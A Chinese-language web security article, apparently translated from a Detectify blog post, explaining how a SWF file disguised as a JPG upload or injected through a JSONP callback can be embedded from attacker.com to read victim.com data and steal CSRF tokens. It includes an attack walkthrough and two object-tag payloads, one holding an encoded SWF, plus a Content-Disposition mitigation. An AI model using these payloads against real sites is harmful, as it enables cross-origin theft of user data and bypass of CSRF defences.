0×00 背景


现在很多网站都允许用户上传文件,但他们都没意识到让用户(或攻击者)上传文件(甚至合法文件)的陷阱。

什么是合法文件?

通常,判断文件是否合法会透过两个参数:文件后缀(File extension)及Content-Type。

例如,网站会确保后缀是jpg及Content-Type是image/jpeg以防止恶意文件,对不?

但一些像Flash的插件程序并不关心后缀及Content-type。假如一个文件被标签嵌入,它会像Flash一样执行,只要它的内容像个Flash文件。

但等等,Flash不是应该只在同域下被嵌入才会执行?亦对亦错。假如一个Flash文件(或以图像包装的Flash文件)在victim.com上传然后于attacker.com下嵌入,它只能在attacker.com下执行JavaScript。但是,假如该Flash文件发出请求,那么它可以读取到victim.com下的文件。

这说明了若不检查文件内容而直接上传,攻击者可以绕过网站的CSRF防御。

0×01 攻击


基于上面我们可以想像一种攻击场境:

1. 攻击者建立一个恶意Flash(SWF)文件  
2. 攻击者更改文件副档名为JPG  
3. 攻击者上传档案到victim.com  
4. 攻击者在attacker.com以标签及application/x-shockwave-flash类型嵌入该文件  
5. 受害者浏览attacker.com,并以SWF格式载入该文件  
6. 攻击者现在可以透过该SWF并以受害者的session向victim.com发出及接收任意请求  
7. 攻击者向victim.com发出请求后取得受害者的CSRF token  

payload会像这样

<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   

0×02 修补


好消息是有一个相对简单的方法防止该Flash的行为。 Flash若看到文件返回下面的Content-Disposition header就不会执行:

Content-Disposition: attachment; filename="image.jpg"  

所以若允许上传或输出任意数据,网站应该总是检查内容是否合法而且尽可能返回Content-Disposition header

0×03 其他用途


实际上,该攻击不只限制于文件上传。该攻击只要求攻击者能够控制域名下的数据(不论Content-Type),因此还有其他实施攻击的方法。

其中一种是利用JSONP接口。通常,攻击者可以透过更改callback参数控制JSONP接口的输出。然而,攻击者可以把整个Flash文件的内容作为callback参数,而达到与上载文件无异的攻击。 Payload会像这样:

<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

from: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website